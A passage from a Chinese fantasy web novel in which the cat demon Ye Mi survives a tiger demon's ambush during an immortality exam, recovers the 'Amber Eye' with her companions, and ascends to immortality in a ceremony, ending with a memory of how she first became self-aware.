猫睁开眼，黑溜溜的眼珠子映射出那眼前的画面：老虎眯着一只眼睛，眼皮上有一道血色伤口，它火冒三丈、整张虎脸都皱了起来，龇牙咧嘴着，露出可怖的虎牙；边上那只鬣狗也是气势汹汹的，因为长得丑所以瞧着也有点可怕。
“叶米，你实在太可恶了，你放心，我记着师父的吩咐，怎么着……都会饶你一命，哈哈哈哈！”
“老大，把她的耳朵咬下来炸着吃，把她的尾巴咬下来挂在腰间炫耀！嘎嘎嘎嘎！”
猫这时候感受到浑身的疼痛，一点力气……也许还是能使上一点的，不过实在是无关紧要。她很久没有这样无力的感觉了，也许正是因为如此，她早已忘记从前只是一只普通的猫的时候，自己有多么不堪一击。
任人摆弄，随便一点小手段就能将她杀死。
所以现在……她拖着这具惨败的猫身，该怎么办呢？
她瞧见虎头蜂不知道从哪里飞过来，在老虎和鬣狗面前飞来飞去，鬣狗不耐地想要把它赶走，又张开嘴巴想要咬住他，可忽然，那只灵活的虎头蜂就停在了鬣狗头上。
鬣狗只感到头上一疼，一种麻痹的感觉从脑壳开始蔓延，急速地笼罩了他的狗头，密密麻麻地顺着它的脖子侵入了全身——还未等他有任何反应，只听一声“砰”，他横着倒在了地上，翻着白眼，嘴里吐出了白沫。
老虎一愣，踹了踹鬣狗，没见他有反应，从两个鼻孔哼出热气，不耐烦道：“胡和烈，别
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以为我不知道你搞了什么鬼，你用掉了螫针，现在就是废物一只，等我收拾好叶米再来收拾你！”
虎头蜂没理他，飞到猫的耳朵上：“喂，想想办法。”
猫没办法，于是就省着力气没说话。
虎头蜂说：“你没办法？那就认输。”
“不可能，”猫轻轻地说，“你跑远点。”
虎头蜂停在猫耳朵上没动：“他使诈，所以这不算你输了。”
猫对输和赢其实没什么概念，虽然她每次都不会让自己输，但她所有的行为只是为了成仙，如果输了能成仙，她也是乐意输的。
所以这时候她听虎头蜂说什么输了，倒也没有什么屈辱的感觉，听鬣狗说要咬下她的耳朵和尾巴，心里其实没有什么害怕。她只是不想不成仙。
她撑着发软的四肢站立起来，想着说不准等会使尽全力还能给这可恶的老虎划上一道伤口。可是这天生的劣势，只那么往树上一摔就失去所有力气的弱小的身躯，实在是让她无奈。
猫过去非常讨厌自己是一只瘦弱的猫，一百年来，她每次梦回成精前的微小，每次感受到背部那道伤疤的触感，心中都会泛起难以言喻的厌恶和恨意。好在成精之后勤能补拙，她日日修炼变强，厌恶和恨也逐渐变得不值一提。
事到如今，她要以这幅脆弱的身躯迎来屈辱的失败，心中却很平静，那些麻木的厌恶不知何时已经不见，取而代之的是坦然的尊严。
她已经接受别人的弱小，哪怕是没什么攻击力的螃蟹精和书灵也有他们的价值，并且她已然感受到了；
于是也决心接受自己弱小，她不觉得一只猫输给老虎是应该的、天经地义的，但若是输了，也不该责怪自己，而是要光明磊落地承认自己的不足，再努力做到自己能做的最好。
做猫是这样，做猫妖也是这样。
其实都是一样的。
后来她看了那么多被命运捉弄的人类，想到自己以前埋怨猫的弱小，但和束手无策的人类相比，能够成妖、甚至有那么一丝成仙的机缘，其实已是莫大的荣幸了。
“哈哈哈！看来你已经做好受死的准备了——”
老虎在地面上刨刨爪子，这次像是开餐前的准备工作，它龇牙咧嘴也像笑着，一刻也等不及地朝猫扑去，喉咙里的低吼声像是在庆祝，庆祝他终于等来了这天，能够将这几年来一直压他一头的臭猫踩在脚底下！
虎头蜂急得不行，还在猫耳朵边上飞来飞去，对她站起来受死这件事气急败坏：“臭猫，你是不是疯了！”
猫虚弱地说：“好吵，其实你是蚊子吧？”
虎头蜂：……
都什么时候了还开玩笑呢！
猫微微抬起爪子，琢磨着要是被老虎一口吃进去，这一爪要从什么角度才好划破它喉咙！
张着大嘴的虎头猛地逼近，迎面有风扑来，猫瞪大眼睛，竖着瞳孔，一刻也不会放松——
109. 第 109 章
“猫大人！！”
猫大人：？
她诧异地抬起头来，只见一片花花绿绿的影子，她还未反应过来，一阵疾风吹动了她全身的毛发，有什么东西重重地落在了她的面前，为她挡住……不，与其说是挡住，不如说是震飞了那只庞然的老虎。
“嗷！——”
老虎受到一股强烈的妖力冲击，这股妖气他万分熟悉，谁让他之前没少被猫打飞，但是现在聚灵珠已经收了他们的妖法让他们变成了原形，这股妖气是哪来的！？
他没机会得到答案，直接被这招打飞，狠狠地砸倒了一棵树上，甚至把这颗大树给压垮了，老虎和树倒在地上，发出轰然大声，震得地上尘土飞扬。老虎瞪大眼珠子，感受到自己的动弹不得。
怎么会……这样？
万情贞也没想到这把油纸伞上的妖法这么厉害，他其实也是抱着试一试、不行就和猫大人一起死的决心跳下来的，这还得掐准时机呢，毕竟猫大人说了，这伞最多能挡她两招，要是时机不对，或是伞被夺走，岂不是完蛋了？
可是没想到，那么大只的老虎就这么被一把油纸伞给pia飞了！
猫大人果然还是太谦虚了。
书灵看着手中伞面碎了一半的伞如此想。
“猫大人，”他回过头去看猫的情况，见她趴在地上，猫脸还是很淡定的，“你没事吧？”
猫说：“琥珀之目。”
“……啊？哦！”
书灵一愣，很快反应过来，抱着伞来到老虎边上，看见老虎还在抽搐，闭着眼睛神色痛苦，但是在一只老虎身上找一颗石头，实在有些为难，就在他不知道怎么办的时候，虎头蜂飞过来了：
“傻啊你，把它打晕了，到时候全场就我们组活着，有没有琥珀之目都不重要了！”
书灵恍然大悟，把伞合了起来，对着虎头一下一下地打，一边打一边嘴里哼哼地骂：
“臭老虎，让你欺负猫大人！让你使诈！让你用这些不道德的下三滥手段！让你绑架我……”
虎头蜂在边上助威：“使劲点！再来几下！”
他们本是想把老虎打晕过去，没想到打到一半，老虎忽然一个身体抽搐，猛然吐出一个东西来，竟是琥珀之目。
书灵眼前一亮，正想要去捡，却见上边还有口水啥的粘液，实在恶心。他拿了几张树叶擦了擦，又放到自己破烂的衣裳上擦了擦，这才小跑到猫前边，捧到她眼前：“猫大人，琥珀之目！”
叶米也是松了口气，刚刚她还在想着，如果王生威淘汰了，但他们没拿到琥珀之目，不知道还算不算数，这下是无可挑剔了：“做得好。”
书灵自从被绑架之后，心中一直愧疚万分，看见猫大人他们为救自己受了那么多委屈，更是难受得很。如今雨过天晴，他心头酸酸涩涩的，眼里含了两泡泪水：“太好了，还来得及……”
“叶米。”
这声音？
几妖回过头去，看见树法祖师和元善老祖并排站在那，边上那只昏死的老虎已经不见了踪影。树法祖师将空中的聚灵珠收回，起手决一点，聚灵珠散出大片的光芒。虎头蜂那一点被光淹没，猫脸上的每一根毛发都被照得清晰可见。
下一瞬，他们便幻化成了人形。
二妖感到灵力的回归，身心都舒畅不少，朝师父拱手：“多谢师父。”
他们的师父不是万情贞的师父，他可不谢，还愤愤不平道：“两位仙长，暂且不谈这老虎精用过的那些肮脏手段，这、这聚灵珠总得给个说法！我先前还听月老说你们万妖堂的成仙考核都是公平公正的！”
其实就是埋怨他们来得太晚了，没在第一时间阻止老虎精作弊。
“呵呵呵。”元善老祖摸摸胡须，和善道，“千万般意外，皆是顺其自然。我们做考官的，不好插手考核的。”
万情贞：……
什么顺其自然？他们总是有借口！
他看看猫大人和胡大哥，却见他们二妖都是一副习以为常的模样，似乎已经被这些“顺其自然的意外”磨平了棱角。
树法祖师将聚灵珠收起来，面色略微严肃：“这聚灵珠乃是天上的宝物，王生威得此极有可能来路不正，为师会将此事上报天庭，查个明白。”
万情贞松了口气，这样才对嘛：“对对，这聚灵珠我之前在天庭见过，不知道他怎么搞到手的！”
叶米知道这事他们管不了，如果师父能处理自然是最好的，现下她关心的也不是这些，而是：“万情贞，琥珀之目呢？”
“噢噢……”万情贞伸手摊开掌心，“请两位仙长过目。”
元善老祖笑呵呵道：“这琥珀之目你们收着吧。成仙考核至此结束，经过我们几位夫子的综合评估，你们一组三妖，皆应得成仙之殊荣。至于万情贞，也可免去惩罚，回到月老宫中。”
这样就……可以成仙了？
三妖皆是一愣，面面相觑了一会，都没有外露的惊喜，反而是一些茫然。这不是梦境，毕竟身上都还带着疼痛的伤口、衣衫褴褛，满头乱发。只是确实有不切实际之感，连笑一下都很虚浮。
“哈哈哈哈哈……”元善老祖和树法祖师倒是笑出声来，“瞧这些孩子都傻了。别愣着了，快随我们回万妖堂好好收拾一番，干干净净地参加封仙大礼。谢珍珠还在等你们。”
“……好。”
用树法祖师的传送阵，他们很快便回到了万妖堂。
叶米回到寝室收拾了一番，换上了万妖堂统一的米白色长袍校服，走出去看见谢珍珠，她欢天喜地地迎上来：“叶米，叶米！我们真的要成仙了？”
见她没事，叶米松了口气，笑道：“是啊。”
“你太厉害了！”她有些语无伦次，“我太幸运了！居然真的抱着你的大腿成了仙……哈哈哈！”
叶米摇摇头：“你能成仙是你的本事。”
“嘿嘿……我知道，我也是很有用的！”螃蟹精抱着她的胳膊扭啊扭，“不过若不是遇到你和胡大哥……哦还有万情贞，我不一定会这么有用，所以不管我怎么想，都是要谢谢你。”
“互帮互助罢了。”
封仙大礼的场所就在他们平时练武、比试的校场，这里见证了叶米在万妖堂这几年无数次胜利。叶米每一次来这，心中总是有一团烈火，熊熊燃烧着对强大的渴望。
此时此刻，台下站着不少万妖堂的学生，除开一些受伤严重的妖没来，大部分都来了，大家挤在一起，叽叽喳喳着，讨论着并不意外的结局。
“果然是叶米……”
“叶米还是和胡和烈一组的，不是他们才怪了！”
“啧，谢珍珠还真是好运啊，如果我在他们那组就好了……两条大腿直接给她带飞了！”
“喂，说什么呢你！”一只兔子精不高兴地瞪那妖一眼，“你又不是他们组的，怎么知道谢珍珠没发挥作用？只知道把成功归结到好运上，怪不得被淘汰！”
“你！”
“啧，愿赌服输行不行？”狼妖翻了翻白眼，“我听
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着都嫌丢脸。”
“……”
底下的议论纷纷没有入到几妖的耳中，她们现在心思全然不在其他地方了，只念着等会的封仙大礼。
随着一声浩荡的钟声从后山震来，台下的学生们纷纷安静下来，气氛变得有些肃穆。
万情贞不是万妖堂的学生，他站在台侧，怀里抱着一把破烂的伞，眼里泪光闪闪，心情比要成仙的三妖还要激动。
只见三妖走到元善老祖和树法祖师面前，并排跪了下来，微微垂着脑袋，脸色认真。
元善老祖说了一些话，大概就是三妖“慈悲为怀、不骄不躁、惩恶扬善，有成仙之德；勤勉修炼、本领高强，出神入化，有成仙之能”，于是经多位考官认定，赐予三妖成仙之位。
谢珍珠听得还有些脸热呢，心说她可没有出神入化的高强本领啊……
胡和烈也皱着一只眉毛在想自己居然不知不觉之中已经不骄不躁了？
叶米琢磨着自己应该……算得上慈悲为怀吧？其他几个反正肯定有的。
三妖各怀心思，表情各异。
树法祖师在边上忍不住微微笑了一下，摇了摇头道：“虽说成仙乃是你们妖界的一大殊荣，但世间之事并无十全十美，有阴必有阳，有得必有失，做神仙，就要担当起仙人之责，你们是否做好了准备？”
也许是不能天天回家了，谢珍珠想，放在以往她会害怕不舍，但跟叶米他们这一路走来，似乎也挺好玩有趣的。而且成了仙，她就是整条河的骄傲了！
“是，师父！”
大概是不能无缘无故喊打喊杀找叶米干架的意思？胡和烈想，这也不是什么问题，他总有无数的理由的。
“胡和烈明白。”
师父是在暗指南显成的事吗？叶米心中拿不准，不过他对她来说，其实就是个“无关紧要的救命恩人”，反正人有生生世世，她日后会寻到机会报恩的。
“准备好了。”
“好，既然你们已做好了准备，即刻便入仙籍吧。为师愿你们，做一位是非分明、心怀天下众生的好神仙。”
元善老祖笑弯着眼，拿起浮尘轻轻一挥，绘出三道细闪的光芒，一一映入三妖的额间。叶米只觉得眉间一阵冰凉，那股灵力像是瀑布一般哗地冲下来，将她的所有经脉洗涤清净，温和而舒畅。
台下似乎响起了许多欢呼声，但越来越远，仿佛隔着许多层薄雾，模模糊糊地感受到一些声音的轮廓。
她忽然想起好久好久之前，一个大雨滂沱的夜里，猫进入一间破败的庙宇，跳上供台打翻了供品，她湿透的毛发惊悚地竖了起来，嘴里咬着一颗果子，恐惧而警惕地看着面前高大无比的神像。
但神像只是笑着。
猫僵硬了一会，实在饿得发晕，咬下一口果子，甜滋滋的果肉让她的脑子忽地清明了起来，她吃完果子，感到从未有过的舒服。趴在蒲团上睁开猫眼，盯着黑暗之中，脑子里竟然开始有什么在成形，原来那是思绪。
就像所有得到思考能力的人一样，猫成妖的第一念也是在问：
我是谁？
门口忽然走进来一个人，雨声太大掩盖住了他的脚步声，直到他进了屋里，猫才惊觉似的站了起来，警惕地看着他。
那个光头瞧见它却是松了口气，露出一个和善的微笑：“闹出如此动静，原来是只调皮的小猫儿。”
猫睁着黑溜溜的猫眼，心道：
哦，原来我是猫。
这便是猫妖成仙前的最后一念。